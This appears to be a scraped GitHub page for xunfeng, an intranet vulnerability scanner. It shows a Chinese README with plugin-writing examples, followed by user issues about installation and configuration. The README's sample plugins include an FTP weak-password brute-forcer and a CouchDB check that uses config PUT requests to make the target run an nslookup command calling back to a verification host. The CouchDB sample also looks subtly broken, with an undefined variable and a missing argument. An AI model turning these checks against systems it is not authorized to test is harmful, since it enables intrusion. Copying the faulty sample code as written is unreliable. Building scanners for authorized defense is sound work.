Giter Site home page Giter Site logo

ysrc / xunfeng Goto Github PK

View Code? Open in Web Editor NEW
3.5K 182.0 1.3K 34.44 MB

巡风是一款适用于企业内网的漏洞快速应急,巡航扫描系统。

License: GNU General Public License v3.0

Python 35.43% Batchfile 0.02% Shell 2.03% JavaScript 25.59% HTML 9.14% Dockerfile 0.17% Less 27.62%
security pentesting infosec exploits security-audit vulnerability-detection scanner vulnerability-assessment vulnerability-scanners

xunfeng's Introduction

巡风 License


巡风是一款适用于企业内网的漏洞快速应急、巡航扫描系统,通过搜索功能可清晰的了解内部网络资产分布情况,并且可指定漏洞插件对搜索结果进行快速漏洞检测并输出结果报表。

本软件只做初步探测,无攻击性行为。请使用者遵守《中华人民共和国网络安全法》,勿将巡风用于非授权的测试,YSRC/同程安全应急响应中心/同程网络科技股份有限公司不负任何连带法律责任。

其主体分为两部分:网络资产识别引擎漏洞检测引擎

网络资产识别引擎会通过用户配置的IP范围定期自动的进行端口探测(支持调用MASSCAN),并进行指纹识别,识别内容包括:服务类型、组件容器、脚本语言、CMS。

漏洞检测引擎会根据用户指定的任务规则进行定期或者一次性的漏洞检测,其支持2种插件类型、标示符与脚本,均可通过web控制台进行添加。

安装指南

Python 2.7 Mongodb 3.4.0

国内镜像 https://code.aliyun.com/ysrc/xunfeng.git

配置指南

  • 在配置-爬虫引擎-网络资产探测列表 设置内网IP段**(必须配置,否则无法正常使用,每个IP段最大限制为10个B段)**。
  • 在配置-爬虫引擎-资产探测周期 设置计划规则。
  • 可启用MASSCAN(探测范围为全端口)代替默认的端口探测脚本,需安装好MASSCAN后配置程序完整绝对路径,点击开启即可完成切换。  MASSCAN需chmod +x 给执行权限,并手动执行确保可正常运行后再开启。
  • 其他配置根据自身需要进行修改。

插件编写

漏洞插件支持2种类型,json标示与python脚本,可以通过官方推送渠道安装或者自行添加。

JSON标示符

Python脚本

插件标准非常简洁,只需通过 get_plugin_info 方法定义插件信息,check函数检测漏洞即可。

# coding:utf-8

import ftplib

def get_plugin_info():  # 插件描述信息
    plugin_info = {
        "name": "FTP弱口令",
        "info": "导致敏感信息泄露,严重情况可导致服务器被入侵控制。",
        "level": "高危",
        "type": "弱口令",
        "author": "wolf@YSRC",
        "url": "",
        "keyword": "server:ftp",  # 推荐搜索关键字
    }
    return plugin_info

def check(ip, port, timeout): # 漏洞检测代码
    user_list = ['ftp', 'www', 'admin', 'root', 'db', 'wwwroot', 'data', 'web']
    for user in user_list:
        for pass_ in PASSWORD_DIC:  # 密码字典无需定义,程序会自动为其赋值。
            pass_ = str(pass_.replace('{user}', user))
            try:
                ftp = ftplib.FTP()
                ftp.timeout = timeout
                ftp.connect(ip, port)
                ftp.login(user, pass_)
                if pass_ == '': pass_ = 'null'
                if user == 'ftp' and pass_ == 'ftp': return u"可匿名登录"
                return u"存在弱口令,账号:%s,密码:%s" % (user, pass_)  # 成功返回结果,内容显示在扫描结果页面。
            except:
                pass

此外系统内嵌了辅助验证功能:

DNS:触发,nslookup randomstr IP,验证, http://ip:8088/randomstr ,返回YES即存在。

HTTP:触发,http://ip:8088/add/randomstr ,验证, http://ip:8088/check/randomstr ,返回YES即存在。

使用例子:

import urllib2
import random
import socket

def get_plugin_info():  # 插件描述信息
    plugin_info = {
            "name": "CouchDB未授权访问",
            "info": "导致敏感信息泄露,攻击者可通过控制面板执行系统命令,导致服务器被入侵。",
            "level": "高危",
            "type": "未授权访问",
            "author": "wolf@YSRC",
            "url": "",
            "keyword": "server:couchdb",  # 推荐搜索关键字
    }

def get_ver_ip(ip):
    csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    csock.connect((ip, 80))
    (addr, port) = csock.getsockname()
    csock.close()
    return addr

def random_str(len):
    str1=""
    for i in range(len):
        str1+=(random.choice("ABCDEFGH1234567890"))
    return str(str1)

def check(ip,port,timeout):
    rand_str = random_str(8)
    cmd = random_str(4)
    server_ip = get_ver_ip()
    req_list = [
        ["/_config/query_servers/%s"%(cmd),'"nslookup %s %s>log"'%(rand_str,server_ip)],
        ["/vultest123",''],
        ["/vultest123/test",'{"_id":"safetest"}']
    ]
    for req_info in req_list:
        try:
            request = urllib2.Request(url+req_info[0],req_info[1],timeout=timeout)
            request.get_method = lambda: 'PUT'
            urllib2.urlopen(request)
        except:
            pass
    try:
        req_exec = urllib2.Request(url + "/vultest123/_temp_view?limit=11",'{"language":"%s","map":""}'%(cmd))
        req_exec.add_header("Content-Type","application/json")
        urllib2.urlopen(req_exec)
    except:
        pass
    check = urllib2.urlopen("http://%s:8088/%s"%(server_ip,rand_str)).read()
    if 'YES' in check:
        return u"未授权访问"

流程演示视频

文件结构

│  config.py  # 配置文件
│  README.md  # 说明文档
│  run.bat  # Windows启动服务
│  run.sh    # Linux启动服务,重新启动前需把进程先结束掉
│
├─aider
│      aider.py  # 辅助验证脚本
│
├─db  # 初始数据库结构
│
├─masscan  # 内置编译好的Masscan程序(CentOS win64适用),需要chmod+x给执行权限(root),若无法使用请自行编译安装。
├─nascan
│  │  nascan.py # 网络资产信息抓取
│  │
│  ├─lib
│  │      common.py 其他方法
│  │      icmp.py  # ICMP发送类
│  │      log.py  # 日志输出
│  │      mongo.py  # 数据库连接
│  │      scan.py  # 扫描与识别
│  │      start.py  # 线程控制
│  │
│  └─plugin
│          masscan.py  # 调用Masscan脚本
│
├─views
│  │  web.py  # web启动
│  │  view.py  # web请求处理
│  │
│  ├─lib
│  │      Conn.py  # 数据库公共类
│  │      CreateExcel.py  # 表格处理
│  │      Login.py  # 权限验证
│  │      QueryLogic.py  # 查询语句解析
│  │
│  ├─static #静态资源目录
│  │
│  └─templates #模板文件目录
│
└─vulscan
    │  vulscan.py  # 漏洞检测进程
    │
    └─vuldb # 漏洞库目录

扫描下方二维码关注YSRC公众号,回复自己的微信号+巡风,会有人拉你进巡风的微信讨论群。

xunfeng's People

Contributors

0xbug avatar 1oca1h0st avatar anony-bee avatar bigwolfdogroar avatar c4bbage avatar dee-ng avatar gsfish avatar ihacku avatar javert233 avatar medicean avatar mykings avatar neargle avatar nevss avatar psoul avatar superhuahua avatar xizhimen avatar yeahx avatar ywolf avatar zack7wong avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

xunfeng's Issues

统计里无数据

装完配置完内网网段后,过了N久 统计里依旧没有IP数据收集到。而如果是单独用nascan.py,可以正常记录到统计里。这个会出在哪边的问题?日志里也没记录这些。

只能扫描3类私网保留地址吗

在公网上部署了一台巡风用于扫公司互联网IP段,但是没有扫描结果,是否巡风设置为只能扫描私网保留地址?另外,是否可以配置为扫描多个网段?
scan.log里看不到扫描结果:
[19:05:25] 扫描规则: 1|15
[19:06:25] 扫描规则: 1|15
[19:07:25] 扫描规则: 1|15
[19:08:26] 扫描规则: 1|15
[19:09:26] 扫描规则: 1|15
[19:10:26] 扫描规则: 1|15
[19:11:26] 扫描规则: 1|15
[19:12:26] 扫描规则: 1|15
[19:13:26] 扫描规则: 1|15
[19:14:26] 扫描规则: 1|15
[19:15:26] 扫描规则: 1|15
[19:16:26] 扫描规则: 1|15
[19:17:26] 扫描规则: 1|15
[19:18:26] 扫描规则: 1|15
[19:19:26] 扫描规则: 1|15
[19:20:26] 扫描规则: 1|15
[19:21:26] 扫描规则: 1|15

导入数据失败

2017-03-18T00:04:43.965+0800	reading metadata file from Update.metadata.json
2017-03-18T00:04:43.966+0800	restoring xunfeng.Update from file Update.bson
2017-03-18T00:04:43.968+0800	Failed: restore error: xunfeng.Info: error creating indexes for xunfeng.Info: createIndex error: exception: bad textIndexVersion: 3

"网络资产探测列表"能否接受网段表示法

提示是 192.168.1.1-192.168.1.254

能否接受 192.168.1.0/24 呢?
毕竟 地址段的方法更标准,更专业。

还有 ipv6 也是用地址段表示,这个扯远了。

另外一个提升用户体验的优化。
统计试图里,服务数量统计,下面只是普通文本,如果可以直接做成超链接就更好了。

windows安装问题。。

照着步骤配好了,运行bat后 mongo启动了,然后。。就没然后了。。
应该是个run.py没起来,,,报ImportError: No module named flask
。。。依赖没装。。解决了

报错

版本:
Name: paramiko
Version: 2.0.0

报错:No handlers could be found for logger “paramiko.transport”

模板资源加载问题修复

所有视图模板可这样修改:

 <link href="static/css/bootstrap.min.css" rel="stylesheet" type="text/css"/>
<link href="static/css/core.css" rel="stylesheet" type="text/css"/>

改为:


    <link href="{{ url_for('static' , filename='css/bootstrap.min.css') }}" rel="stylesheet" type="text/css"/>
    <link href="{{ url_for('static' , filename='css/core.css') }}" rel="stylesheet" type="text/css"/>
   

避免在view中处理参数后传到视图的时候出现js和css文件资源加载不了。

修改资产后没有触发扫描

你好:
我在使用过程中遇到了如下问题:
修改“网络资产探测列表(必填)”为:192.168.1.1-192.168.1.188
没有防火墙,修改之后任务和目标自定义里面都为空,无法进行资产扫描。
查看日志:
只有web.log和db.log,且内容正常没有err,scan.log和aider.log里面都为空。

环境:
ubuntu 16,非docker,未启用masscan

fastcgi_rce.py UnicodeDecodeError

#43 @117 return (True, '存在任意代码执行漏洞,php文件路径:' + filepath)

这个代码返回时没有把字符串unicode,引致check函数的info += ret[1]时发生UnicodeDecodeError, 令插件完全无效化。
应改为:
@117 return (True, u'存在任意代码执行漏洞,php文件路径:' + filepath)

搜索不出任何结果

Centos 7.2
Selinux disabled

mongodb 用官方 yum 安装

db version v3.4.1
git version: 5e103c4f5583e2566a45d740225dc250baacfbd7
OpenSSL version: OpenSSL 1.0.1e-fips 11 Feb 2013
allocator: tcmalloc
modules: none
build environment:
distmod: rhel70
distarch: x86_64
target_arch: x86_64

python 2.7.5 centos 7.2 自带

[root@xunfeng1 xunfeng]# python -V
Python 2.7.5

pip 装了也升级了

mongodb随系统启动,断口默认 27017

以上是环境。

git clone https://github.com/ysrc/xunfeng.git

恢复数据库
mongorestore -h 127.0.0.1 --port 27017 -d xunfeng db
只有数据库是无授权模式的警告,没有错误

use xunfeng db.createUser({user:'scan',pwd:'y****d',roles:[{role:'dbOwner',db:'xunfeng'}]})

TZ环境变量放 profile里了

config.py 改数据库对于的密码和端口
Run.sh 把mongodb 启动那行注视了

chmod +x Run.sh

然后 ./Run.sh 就可以访问web了。

按提示配置了本地的网段
192.168.0.1-192.168.0.254

/var/log/xunfeng/web.log

  • Restarting with stat
  • Debugger is active!
  • Debugger pin code: 126-507-772
    192.168.0.67 - - [22/Dec/2016 23:31:48] "GET /config?config=nascan HTTP/1.1" 200 -
    192.168.0.67 - - [22/Dec/2016 23:32:19] "GET /config?config=nascan HTTP/1.1" 200 -
    192.168.0.67 - - [22/Dec/2016 23:32:21] "GET /filter HTTP/1.1" 200 -
    192.168.0.67 - - [22/Dec/2016 23:32:34] "GET /?q=port+%3A+22 HTTP/1.1" 200 -
    192.168.0.67 - - [22/Dec/2016 23:32:45] "GET /plugin HTTP/1.1" 200 -
    192.168.0.67 - - [22/Dec/2016 23:33:01] "GET /?q=server:ssh HTTP/1.1" 200 -
    192.168.0.67 - - [22/Dec/2016 23:33:09] "GET /config?config=nascan HTTP/1.1" 200 -
    192.168.0.67 - - [22/Dec/2016 23:33:41] "GET /filter HTTP/1.1" 200 -

/var/log/mongodb/mogod.log
部分

2016-12-22T23:30:37.226+0800 I NETWORK [conn10] received client metadata from 127.0.0.1:47178 conn10: { driver: { name: "PyMongo", version: "3.4.0" }, os: { type: "Linux", name: "CentOS Linux 7.2.1511 Core", architecture: "x86_64", version: "3.10.0-327.el7.x86_64" }, platform: "CPython 2.7.5.final.0" }
2016-12-22T23:30:37.228+0800 I NETWORK [conn11] received client metadata from 127.0.0.1:47179 conn11: { driver: { name: "PyMongo", version: "3.4.0" }, os: { type: "Linux", name: "CentOS Linux 7.2.1511 Core", architecture: "x86_64", version: "3.10.0-327.el7.x86_64" }, platform: "CPython 2.7.5.final.0" }
2016-12-22T23:30:37.386+0800 I NETWORK [conn12] received client metadata from 127.0.0.1:47180 conn12: { driver: { name: "PyMongo", version: "3.4.0" }, os: { type: "Linux", name: "CentOS Linux 7.2.1511 Core", architecture: "x86_64", version: "3.10.0-327.el7.x86_64" }, platform: "CPython 2.7.5.final.0" }
2016-12-22T23:30:37.388+0800 I NETWORK [conn13] received client metadata from 127.0.0.1:47181 conn13: { driver: { name: "PyMongo", version: "3.4.0" }, os: { type: "Linux", name: "CentOS Linux 7.2.1511 Core", architecture: "x86_64", version: "3.10.0-327.el7.x86_64" }, platform: "CPython 2.7.5.final.0" }
2016-12-22T23:31:37.149+0800 I NETWORK [conn14] received client metadata from 127.0.0.1:47182 conn14: { driver: { name: "PyMongo", version: "3.4.0" }, os: { type: "Linux", name: "CentOS Linux 7.2.1511 Core", architecture: "x86_64", version: "3.10.0-327.el7.x86_64" }, platform: "CPython 2.7.5.final.0" }
2016-12-22T23:32:26.276+0800 I COMMAND [ftdc] serverStatus was very slow: { after basic: 0, after asserts: 0, after backgroundFlushing: 0, after connections: 0, after dur: 0, after extra_info: 4152, after globalLock: 4152, after locks: 4152, after network: 4152, after opLatencies: 4152, after opcounters: 4152, after opcountersRepl: 4152, after repl: 4152, after security: 4152, after storageEngine: 4152, after tcmalloc: 4152, after wiredTiger: 4152, at end: 4152 }
2016-12-22T23:33:45.681+0800 I COMMAND [ftdc] serverStatus was very slow: { after basic: 0, after asserts: 0, after backgroundFlushing: 0, after connections: 0, after dur: 0, after extra_info: 3693, after globalLock: 3693, after locks: 3693, after network: 3693, after opLatencies: 3693, after opcounters: 3693, after opcountersRepl: 3693, after repl: 3693, after security: 3693, after storageEngine: 3693, after tcmalloc: 3693, after wiredTiger: 3693, at end: 3693 }

即使用
http://xunfeng1.zpale.com/?q=server:ssh
都依然是 0 记录。
我这个网端有ssh默认22端口的。

什么规则都是0结果。

统计那里:扫描引擎 爬虫引擎 是2个心

单独执行
python VulScan.py
python NAScan.py
都是进入 循环了,没有错误。

这到底是什么情况呢?

任务页面总是500错误!

任务页面总是500错误!
其他页面正常,任务页面建了4个任务!有时加载有些慢!然而还出现了500错误!日志里没有表现出那里的问题!

资产扫描没有反应

你好,我安装的是docker容器的巡风,从昨天安装好,设定好资产列表和探测周期, 但是没有任何扫描结果,一个资产也没有啊。 是我什么地方出错了嘛?

运行报错 爬虫引擎扫描引擎空白

root@kali:/xunfeng# python ./nascan/NAScan.py
'NoneType' object has no attribute 'getitem'
root@kali:
/xunfeng# python ./vulscan/VulScan.py
'NoneType' object has no attribute 'getitem'
Traceback (most recent call last):
File "./vulscan/VulScan.py", line 258, in
PASSWORD_DIC, THREAD_COUNT, TIMEOUT, WHITE_LIST = get_config()
TypeError: 'NoneType' object is not iterable
root@kali:~/xunfeng#

建议增加一个终止脚本

Just 建议一下。。。今天测试完之后,想关发现起了4个后台进程,只能一个一个的kill,有点不方便。

flask用gunicorn启动的建议

建议用gunicorn+gevent启动flask写的app,这样就不太可能会挂掉了
pip install gunicorn
pip install gevent
gunicorn -w 8 -k gevent Run:app

文档修正

在ubuntu 14上,重启mongodb应该使用

service mongod start

而不是

service mongodb restart

关于icmp探测bug

如果在配置关闭icmp开启masscan的话,默认还是先icmp探测active 然后在用masscan扫描,而不是扫描全部的ip。
调试了一下发现是在/nascan/lib/start.py:58

            ip_list = self.get_ip_list(ip)
            if self.mode == 1:
                self.masscan_path = self.config_ini['Masscan'].split('|')[2]
                self.masscan_rate = self.config_ini['Masscan'].split('|')[1]
                ip_list = self.get_ac_ip(ip_list)

这里并没有判断self.icmp直接去get_ac_ip获取active的ip
加一个判断,就可以修复此问题

if self.icmp==1:
    ip_list = self.get_ac_ip(ip_list)

就可以了

最后一步启动不成功

最后一步运行
sh Run.sh
出现
[root@localhost xunfeng]# nohup: redirecting stderr to stdout
nohup: redirecting stderr to stdout
nohup: redirecting stderr to stdout
nohup: redirecting stderr to stdout
nohup: redirecting stderr to stdout

日志:

vi db.log

2017-04-05T13:59:56.466+0800 I CONTROL [initandlisten] db version v3.2.12
2017-04-05T13:59:56.466+0800 I CONTROL [initandlisten] git version: ef3e1bc78e997f0d9f22f45aeb1d8e3b6ac14a14
2017-04-05T13:59:56.466+0800 I CONTROL [initandlisten] OpenSSL version: OpenSSL 1.0.1e-fips 11 Feb 2013
2017-04-05T13:59:56.466+0800 I CONTROL [initandlisten] allocator: tcmalloc
2017-04-05T13:59:56.466+0800 I CONTROL [initandlisten] modules: none
2017-04-05T13:59:56.467+0800 I CONTROL [initandlisten] build environment:
2017-04-05T13:59:56.467+0800 I CONTROL [initandlisten] distmod: rhel62
2017-04-05T13:59:56.467+0800 I CONTROL [initandlisten] distarch: x86_64
2017-04-05T13:59:56.467+0800 I CONTROL [initandlisten] target_arch: x86_64
2017-04-05T13:59:56.467+0800 I CONTROL [initandlisten] options: { net: { port: 65521 }, security: { authorization: "enabled" }, storage: { dbPath: "/var/lib/mongo" } }
2017-04-05T13:59:56.503+0800 E NETWORK [initandlisten] listen(): bind() failed errno:98 Address already in use for socket: 0.0.0.0:65521
2017-04-05T13:59:56.503+0800 E NETWORK [initandlisten] addr already in use
2017-04-05T13:59:56.503+0800 E STORAGE [initandlisten] Failed to set up sockets during startup.
2017-04-05T13:59:56.503+0800 I CONTROL [initandlisten] dbexit: rc: 48

vi web.log
Traceback (most recent call last):
File "./Run.py", line 5, in
app.run(threaded=True, port=80,host='0.0.0.0')
File "/usr/lib/python2.6/site-packages/flask/app.py", line 841, in run
run_simple(host, port, self, **options)
File "/usr/lib/python2.6/site-packages/werkzeug/serving.py", line 717, in run_simple
s.bind((hostname, port))
File "", line 1, in bind
socket.error: [Errno 98] Address already in use

资产探测周期的问题

如果我要马上测试,是否有方法立即生效,,按照你的格式最多只能设置每小时跑一次!~比如我想5分钟跑一次呢- -

资产扫描ip段每行设置不能大于655360?

nascan/lib/start.py
if ip_count >= 0 and ip_count <= 655360:
否则会提示IP format error,其实格式没错误,只是有点ip段有点大,建议把提示改下,这个问题困扰了我好久。

看源码,其实是可以用掩码的方式192.0.0.0/8写地址的,建议文档里加上。
if "/" in ip: ip = cidr.CIDR(ip)

扫描引擎和爬虫引擎

hello,@ywolf
发现安装之后,扫描引擎和爬虫引擎没起来,谢谢。
qqqqqqq3

分别运行出现以下错误:

python VulScan.py 
'NoneType' object has no attribute '__getitem__'
Traceback (most recent call last):
  File "VulScan.py", line 263, in <module>
    PASSWORD_DIC, THREAD_COUNT, TIMEOUT = get_config()
TypeError: 'NoneType' object is not iterable
python NAScan.py 
'NoneType' object has no attribute '__getitem__'

插件选择被重置

在新增任务的时候用 模糊筛选 搜索插件, 每次搜索都会清空已选择的插件

最后一步启动不了

安装过程没有报任何错,数据能正常导入,但是在最后Run.sh以后浏览器打开127.0.0.1一点反应没有,run.sh里的值也都是根据实际路径做的设置,问题在哪里?
default

插件问题

目前是不是只能添加python的脚本,能添加.sh脚本么?

新增插件,上传脚本后,提示 新增失败请检查数据是否完整或是否存在特殊字符!
但是查看vuldb能看到刚才上传的脚本,插件页面上缺没有显示上传的插件,这是什么情况

Docker error

开启后 http无法访问 提示
MongoDB shell version v3.4.0
connecting to: mongodb://127.0.0.1:65521/xunfeng
2016-12-26T21:30:17.814+0800 W NETWORK [main] Failed to connect to 127.0.0.1:65521, reason: Connection refused
2016-12-26T21:30:17.814+0800 E QUERY [main] Error: couldn't connect to server 127.0.0.1:65521, connection attempt failed :

pymongo.errors.OperationFailure: Authentication failed.

怎么手动触发巡风开始扫描?

设置扫描时间为1|15,每天下午三点开始扫描,添加新的ip段10.0.0.1-10.0.0.255
等了很久都没有开始扫描,任务那里是空的,统计那里也是空的
我用docker装的,求怎么手动触发巡风启动扫描呀?

mac安装xunfeng

不帖图了,直接说步骤
1 安装homebrew 方法自行百度,这个有的
然后 使用 brew install gcc libffi libpcap openssl
2安装mongodb
brew install mongodb
3克隆项目
git clone https://github.com/ysrc/xunfeng.git
之后切换到xunfeng的目录,使用pip 进行安装模块
sudo pip install pymongo Flask xlwt paramiko
4配置数据库
sudo mongod --port 65521 --dbpath /opt/xunfeng/log/db &

DBData为数据库指定存在目录

sudo mongorestore -h 127.0.0.1 --port 65521 -d xunfeng /opt/xunfeng/db

db为初始数据库结构文件夹路径

低版本不支持全文索引,需使用高于 MongoDB 3.2版本

mongo --port 65521
use xunfeng
db.createUser({user:'scan',pwd:'123qweasdzxc',roles:[{role:'dbOwner',db:'xunfeng'}]})
exit
#设置数据库密码为123qweasdzxc
5修改配置文件
把config.py里面的数据库密码替换成123qweasdzxc
之后修改run.sh文件把
XUNFENG_LOG=/var/log/xunfeng
XUNFENG_DB=/var/lib/mongodb
修改为
XUNFENG_LOG=/opt/xunfeng/log
XUNFENG_DB=/opt/xunfeng/log/db
之后再xunfeng的目录下建立log目录,并在log目录下建立db目录
之后保存
6启动巡风
sudo sh Run.sh

文档中 mongodb 添加认证不正确

安装文档有出错的地方

$ mongo
> db.createUser({user:'scan',pwd:'your password',roles:[{role:'dbOwner',db:'xunfeng'}]})
> exit

mongo 接入该改成

mongo 127.0.0.1:65521/xunfeng

$ mongo 127.0.0.1:65521/xunfeng
> db.createUser({user:'scan',pwd:'your password',roles:[{role:'dbOwner',db:'xunfeng'}]})

这样增加的用户才加到了xunfeng这个数据库,原来的那样会加到 test 数据库中

测试一下

关闭mongodb后,在参数后加上 --auth 再次启动以启用认证,如

mongod --dbpath mongodb --port 65521  --auth

终端运行

mongo 127.0.0.1:65521/xunfeng -u scan -p yourpassword

此时能顺利登入即成功了。

建议 Run.py 中端口改大

80 端口需 root 权限,建议改大

希望采纳,谢谢!

插件管理

现在插件 比较多了,不便于查找和使用。

建议按照类别 或危急程度分类,便于管理和归类~~~

非常迫切

还有一点,是否针对不同的IP资产范围进行指定/自定义时间扫描。

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.